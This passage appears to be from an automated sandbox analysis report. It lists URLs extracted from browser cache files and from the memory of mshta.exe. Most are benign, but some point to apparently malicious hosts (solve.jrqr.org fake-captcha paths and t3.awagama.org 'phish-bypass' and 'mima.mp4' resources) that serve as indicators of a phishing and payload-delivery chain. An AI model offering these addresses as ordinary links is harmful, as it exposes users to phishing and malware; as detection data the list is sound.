Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr, HubApps Icons.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_634.1.dr, chromecache_651.1.dr	String found in binary or memory: https://eu.asas.yango.com/mapuid
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_535.1.dr, chromecache_381.1.dr	String found in binary or memory: https://f.vimeocdn.com/js/froogaloop2.min.js
Source: chromecache_429.1.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_429.1.dr	String found in binary or memory: https://fontawesome.com/license
Source: chromecache_644.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: chromecache_644.1.dr	String found in binary or memory: https://fonts.googleapis.com/css2?display=swap&family=Raleway:wght
Source: chromecache_429.1.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: chromecache_429.1.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Oswald:400
Source: chromecache_429.1.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: chromecache_644.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3ROp8ltA.wo
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3Rep8ltA.wo
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dancingscript/v25/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSo3Sup8.woff2
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dosis/v32/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMl1BMEfq4.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dosis/v32/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMl1RMEfq4.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/dosis/v32/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMl2xME.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrO56kigt.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrO96kigt.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrOF6kg.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrOx6kigt.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)
Source: chromecache_437.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)
Source: chromecache_610.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlSHYjedg.wo
Source: chromecache_610.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlWHYg.woff2
Source: chromecache_610.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlYHYjedg.wo
Source: chromecache_610.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlZHYjedg.wo
Source: chromecache_610.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlbHYjedg.wo
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyC0ITw.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyCAIT5lu.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyCIIT5lu.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyCMIT5lu.woff2)
Source: chromecache_558.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/raleway/v34/1Ptug8zYS_SKggPNyCkIT5lu.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfBBc4.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4WxKOzY.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4mxK.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu5mxKOzY.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu72xKOzY.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7GxKOzY.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7WxKOzY.woff2)
Source: chromecache_641.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7mxKOzY.woff2)
Source: chromecache_644.1.dr	String found in binary or memory: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3J
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://gaana.com/
Source: chromecache_429.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_449.1.dr, chromecache_504.1.dr	String found in binary or memory: https://github.com/AviaThemes/wp-themes/issues/812
Source: chromecache_495.1.dr	String found in binary or memory: https://github.com/KriesiMedia/wp-themes/issues/1171
Source: chromecache_582.1.dr, chromecache_577.1.dr	String found in binary or memory: https://github.com/imakewebthings/waypoints/blog/master/licenses.txt
Source: chromecache_582.1.dr, chromecache_577.1.dr	String found in binary or memory: https://github.com/ryanburnette/scrollToBySpeed/blob/master/src/scrolltobyspeed.jquery.js
Source: chromecache_429.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: chromecache_598.1.dr, chromecache_530.1.dr	String found in binary or memory: https://isotope.metafizzy.co
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F6599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://m.kugou.com/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://m.vk.com/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: chromecache_428.1.dr	String found in binary or memory: https://mc.kinopoisk.ru/sync_cookie_image_check
Source: chromecache_634.1.dr, chromecache_651.1.dr	String found in binary or memory: https://mc.yandex.
Source: chromecache_634.1.dr, chromecache_651.1.dr	String found in binary or memory: https://mc.yandex.md/cc
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://music.amazon.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://music.apple.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://music.yandex.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://open.spotify.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_426.1.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_426.1.dr	String found in binary or memory: https://plus.googleapis.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chromecache_505.1.dr, chromecache_519.1.dr	String found in binary or memory: https://privacy-pienissimo.s3.eu-central-1.amazonaws.com/informativa/uzuypfb7d33r7lvcjvw37oharuqxwlg
Source: chromecache_629.1.dr	String found in binary or memory: https://pro.pns.sm/shrtkiv
Source: chromecache_644.1.dr	String found in binary or memory: https://schema.org
Source: chromecache_644.1.dr	String found in binary or memory: https://schema.org/Blog
Source: chromecache_644.1.dr	String found in binary or memory: https://schema.org/CreativeWork
Source: chromecache_644.1.dr	String found in binary or memory: https://schema.org/ImageObject
Source: chromecache_644.1.dr	String found in binary or memory: https://schema.org/SiteNavigationElement
Source: chromecache_644.1.dr	String found in binary or memory: https://schema.org/WPHeader
Source: chromecache_644.1.dr	String found in binary or memory: https://schema.org/WebPage
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F6599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.jrqr.org/
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F6520000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2415681543.000001A8F8400000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F6599000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2409685094.0000004F576EF000.00000004.00000010.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F6528000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2413979969.000001A0F6890000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F6545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2414162617.000001A0F7EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://solve.jrqr.org/awjxs.captcha?u=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: mshta.exe, 0000000C.00000002.2413979969.000001A0F6890000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.jrqr.org/awjxs.captcha?u=21187cdf-b91f-4f27-aae8-45cec9395e7c#?
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://solve.jrqr.org/awjxs.captcha?u=21187cdf-b91f-4f27-aae8-45cec9395e7ce
Source: chromecache_499.1.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: {78AD4D72-C9F0-11EF-8C2E-ECF4BBFF258A}.dat.14.dr	String found in binary or memory: https://t3.aw
Source: {78AD4D72-C9F0-11EF-8C2E-ECF4BBFF258A}.dat.14.dr	String found in binary or memory: https://t3.awagama.orTL1
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/images/icon-exclamation.png?1376755637
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/images/icon-exclamation.png?13767556374
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/images/icon-exclamation.png?1376755637M
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F65F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/images/icon-exclamation.png?1376755637O
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/images/icon-exclamation.png?1376755637gent
Source: {78AD4D72-C9F0-11EF-8C2E-ECF4BBFF258A}.dat.14.dr	String found in binary or memory: https://t3.awagama.org/cdn-cgi/ph
Source: mshta.exe, 0000000C.00000002.2426232029.000001A8FDE88000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2419552191.000001A8F9257000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1696094293.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1704914389.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1703404687.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2425388262.000001A8FD914000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1682512039.000001A8F924C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/phish-bypass
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9257000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1696094293.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1704914389.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1703404687.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1682512039.000001A8F924C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/phish-bypass)
Source: History.21.dr	String found in binary or memory: https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0IN62CHhpDX0-1735922
Source: {78AD4D72-C9F0-11EF-8C2E-ECF4BBFF258A}.dat.14.dr	String found in binary or memory: https://t3.awagama.org/cdn-cgi/phish-bypass?atok=5CxXRy3gIXYBSZxQYjr6WUagwEOFFlA0ish-bypass?atok=5Cx
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9257000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1696094293.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1704914389.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1703404687.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1682512039.000001A8F924C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/phish-bypassO
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9257000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1696094293.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1704914389.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1703404687.000001A8F925D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1682512039.000001A8F924C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/phish-bypassc
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/styles/cf
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/styles/cf.errors.css
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/styles/cf.errors.css5_
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/styles/cf.errors.cssWy
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/cdn-cgi/styles/cf.errors.cssX
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1686376029.000001A8F921E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2411657408.000001A0F6599000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2419552191.000001A8F921E000.00000004.00000020.00020000.00000000.sdmp, {78AD4D72-C9F0-11EF-8C2E-ECF4BBFF258A}.dat.14.dr	String found in binary or memory: https://t3.awagama.org/mima.mp4
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4Fhttps://www.cloudflare.com/learning/access-management/phishing-attac
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4GRF
Source: mshta.exe, 0000000C.00000002.2416065388.000001A8F8428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4Hi
Source: mshta.exe, 0000000C.00000003.2359318810.000001A8FD904000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4e
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4eRd
Source: mshta.exe, 0000000C.00000002.2422172079.000001A8F9375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4https://t3.awagama.org/mima.mp40:
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4ing/access-management/phishing-attack/
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4rn
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4tcha?u=21187cdf-b91f-4f27-aae8-45cec9395e7c
Source: mshta.exe, 0000000C.00000002.2419552191.000001A8F9187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4tyles/cf.errors.css
Source: mshta.exe, 0000000C.00000002.2411657408.000001A0F655F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t3.awagama.org/mima.mp4tyles/cf.errors.css-4f27-aae8-45cec9395e7c
Source: chromecache_605.1.dr, chromecache_499.1.dr	String found in binary or memory: https://tagassistant.google.com/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://tidal.com/
Source: chromecache_644.1.dr	String found in binary or memory: https://tinyurl.com/yytbmzzL
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.21.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.21.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.21.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: chromecache_396.1.dr, chromecache_432.1.dr	String found in binary or memory: https://unpkg.com/ngx-bootstrap/datepicker/bs-datepicker.css
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://web.telegram.org/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://web.whatsapp.com
Source: chromecache_484.1.dr	String found in binary or memory: https://webaim.org/techniques/css/invisiblecontent/#techniques
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_426.1.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
